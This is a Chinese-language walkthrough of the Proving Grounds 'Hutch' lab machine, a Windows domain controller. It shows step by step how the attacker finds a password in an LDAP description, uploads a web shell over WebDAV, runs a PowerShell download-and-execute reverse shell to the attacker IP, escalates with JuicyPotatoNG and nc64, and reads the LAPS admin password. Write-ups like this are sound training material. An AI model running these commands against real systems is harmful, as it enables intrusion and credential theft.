Proving Grounds Practice : Hutch Walkthrough

 Proving Grounds Practice : Hutch Walkthrough

Foothole (立足點 ) :

• 枚舉時發現 80 Port 網站且支援 WebDAV 的方式使用，但需要經過驗證才能用
• 後續透過 nmap 帶 script 列舉網域名稱然後使用 ldapsearch 找到某個使用者描述欄位有寫密碼
• 80 Port 網站有支援 WebDAV
• 使用 cadaver 帶驗證上傳 cmdasp.aspx 後執行命令建立 reverse shell

PE ( 提權 ) :

• SeImpersonatePrivilege 標準作業，使用 JuicyPotatoNG.exe 提權

注意事項 : 

• WebDAV 學習，nmap 若 Timeout 會沒有掃到
• cadaver 指令使用
• LAPS 的提權應用

Kali IP : 192.168.45.204

靶機 IP : 192.168.167.122

第一步掃 Port，└─$ rustscan -a 192.168.167.122 --scripts none --ulimit 5000 | tee rustscan

有 53、88、135、139、445、3268/3269 看來是一台 DC

snmp，└─$ sudo nmap -sU -p 161 192.168.167.122 | tee snmp，filtered 看來沒戲

nmap，└─$ sudo nmap -sCV -A -p 53,80,88,135,139,389,445,464,593,3268,3269,5985,49687,49674,49672,49671,49667,49666,49760 192.168.167.122 | tee nmap

80 IIS 且有 WebDAV 且支援 POST，看來很有戲

enum4linux without credential

LDAP Search，└─$ nmap --script "ldap* and not brute" 192.168.167.122 -p 389 -v -Pn -sT

Domain : DC=hutch,DC=offsec

LDAPSearch 掃出比預設多的資訊，利用 grep 看看幾個有用的資訊，沒有甚麼發現

LDAP 進階搜尋物件，└─$ ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://192.168.167.122" "(objectclass=*)"

獲得使用者清單 : opatry、ltaunton、acostello、jsparwell、oknee、jmckendry、avictoria、jfrarey、eaburrow、cluddy、agitthouse、fmcsorley

同時看一下有無描述說明，└─$ cat ldapobject| grep "sAMAccountName\|description"

發現某使用者帳號密碼被 Reset 成 CrabSharkJellyfish192

vi 進去看一下是哪個使用者，發現是 fmcsorley

獲得帳號密碼 fmcsorley:CrabSharkJellyfish192

crackmapexec 測試看看，└─$ crackmapexec smb 192.168.167.122 -u 'fmcsorley' -p 'CrabSharkJellyfish192'

看來是有用的驗證資訊

smb 進去列舉，└─$ smbclient //192.168.167.122/sysvol -U "hutch\\fmcsorley" --password="CrabSharkJellyfish192" 

沒有發現有用的資訊

80 /

80 /robots.txt

gobuster 沒有甚麼發現，└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.167.122 -c -t 150 -x txt,pdf,git,aspx | tee gobuster

接著使用 kali 好用的工具 Cadaver，參考 : cadaver | Kali Linux Tools

可以走在 HTTP Protocol 上好用的檔案下載上傳工具

直接用我們現有的帳號密碼登入試試看，└─$ cadaver http://192.168.167.122

nmap 掃描時 WebDAV 有支援 POST，那就直接上傳 kali 內建的 cmdasp.aspx

可以直接透過網頁下指令了

標準作業 Powershell 建立 Reverse Shell 吧

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.167/powercat.ps1'); powercat -c 192.168.45.167 -p 4444 -e powershell"

4444 listener 直接進來了

開始 PE，whoami /priv 發現 SeImpersonatePrivilege Enabled

標準作業 JuicyPotatoNG.exe 提權，c:\Users\Public\JuicyPotatoNG.exe -t * -p c:\Users\Public\nc64.exe -a "192.168.45.167 4446 -e c:\windows\system32\cmd.exe"

拿到管理者了，結束這回合

補充說明 :

在這一台靶機上有發現安裝 LAPS : Microsoft 的本機管理員密碼解決方案 (LAPS)

可以透過 ldapsearch 探索密碼

ldapsearch -x -H 'ldap://192.168.167.122' -D 'hutch\fmcsorley' -w 'CrabSharkJellyfish192' -b 'dc=hutch,dc=offsec' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

獲得密碼 ms-Mcs-AdmPwd: U(0xF&Y3t#P65;

直接 impacket-psexec ，└─$ impacket-psexec administrator:'U(0xF&Y3t#P65;'@192.168.167.122